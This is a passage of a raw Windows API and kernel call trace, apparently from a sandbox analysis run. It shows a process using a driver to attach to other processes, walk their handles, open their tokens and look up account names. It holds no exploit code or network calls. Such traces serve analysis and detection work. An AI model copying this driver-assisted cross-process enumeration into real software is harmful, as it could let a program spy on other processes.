PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.470] PsAcquireProcessExitSynchronization () returned 0x0 [0104.470] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.470] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0104.470] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.470] PsReleaseProcessExitSynchronization () returned 0x2 [0104.470] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.470] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.471] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0104.471] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.471] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.471] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.471] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.471] PsAcquireProcessExitSynchronization () returned 0x0 [0104.471] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.471] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.471] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.471] PsReleaseProcessExitSynchronization () returned 0x2 [0104.471] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.471] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.471] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.471] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.471] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.471] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0104.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.471] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0104.471] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.471] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0104.471] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0104.471] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.471] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.471] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.471] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.473] CloseHandle (hObject=0xc8) returned 1 [0104.473] CloseHandle (hObject=0xc0) returned 1 [0104.473] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.473] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.473] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.473] PsAcquireProcessExitSynchronization () returned 0x0 [0104.473] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff88004f095d0) [0104.473] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0104.473] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.473] PsReleaseProcessExitSynchronization () returned 0x2 [0104.473] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0104.473] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.473] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0104.473] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.474] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.474] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.474] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.474] PsAcquireProcessExitSynchronization () returned 0x0 [0104.474] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff88004f095d0) [0104.474] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.474] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.474] PsReleaseProcessExitSynchronization () returned 0x2 [0104.474] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0104.474] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.474] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.474] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.474] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.474] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0104.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.474] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0104.474] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.474] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x194 [0104.474] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa800200a900 | out: TokenHandle=0xfffffa800200a900*=0xc8) returned 0x0 [0104.474] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.474] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.474] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.474] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.476] CloseHandle (hObject=0xc8) returned 1 [0104.476] CloseHandle (hObject=0xc0) returned 1 [0104.476] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.476] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.476] PsAcquireProcessExitSynchronization () returned 0x0 [0104.476] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.476] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0104.476] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.476] PsReleaseProcessExitSynchronization () returned 0x2 [0104.476] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.476] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.476] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0104.476] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.476] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.476] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0104.476] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.476] PsAcquireProcessExitSynchronization () returned 0x0 [0104.476] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.476] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0104.476] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.477] PsReleaseProcessExitSynchronization () returned 0x2 [0104.477] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.477] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.477] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0104.477] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.477] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.477] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.477] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0104.477] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.477] PsAcquireProcessExitSynchronization () returned 0x0 [0104.477] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.477] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0104.477] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.477] PsReleaseProcessExitSynchronization () returned 0x2 [0104.477] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.477] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.477] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xa [0104.477] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.477] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.477] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.477] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.477] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.477] PsAcquireProcessExitSynchronization () returned 0x0 [0104.477] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.477] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.477] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.477] PsReleaseProcessExitSynchronization () returned 0x2 [0104.477] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.477] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.477] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.477] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.478] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.478] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.478] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.478] PsAcquireProcessExitSynchronization () returned 0x0 [0104.478] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.478] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0104.478] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.478] PsReleaseProcessExitSynchronization () returned 0x2 [0104.478] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.478] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.478] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0104.478] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.478] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.478] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.478] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.478] PsAcquireProcessExitSynchronization () returned 0x0 [0104.478] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.478] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0104.478] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.478] PsReleaseProcessExitSynchronization () returned 0x2 [0104.478] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.478] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.478] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0104.478] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.478] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.478] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.478] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.478] PsAcquireProcessExitSynchronization () returned 0x0 [0104.478] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.479] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.479] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.479] PsReleaseProcessExitSynchronization () returned 0x2 [0104.479] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.479] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.479] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.479] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.479] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.479] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.479] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.479] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.479] PsAcquireProcessExitSynchronization () returned 0x0 [0104.479] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.479] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.479] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.479] PsReleaseProcessExitSynchronization () returned 0x2 [0104.479] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.479] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.479] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.479] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.479] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.479] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.479] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.479] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.479] PsAcquireProcessExitSynchronization () returned 0x0 [0104.479] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.479] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0104.479] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.479] PsReleaseProcessExitSynchronization () returned 0x2 [0104.479] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.479] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.479] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0104.479] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.480] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.480] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.480] 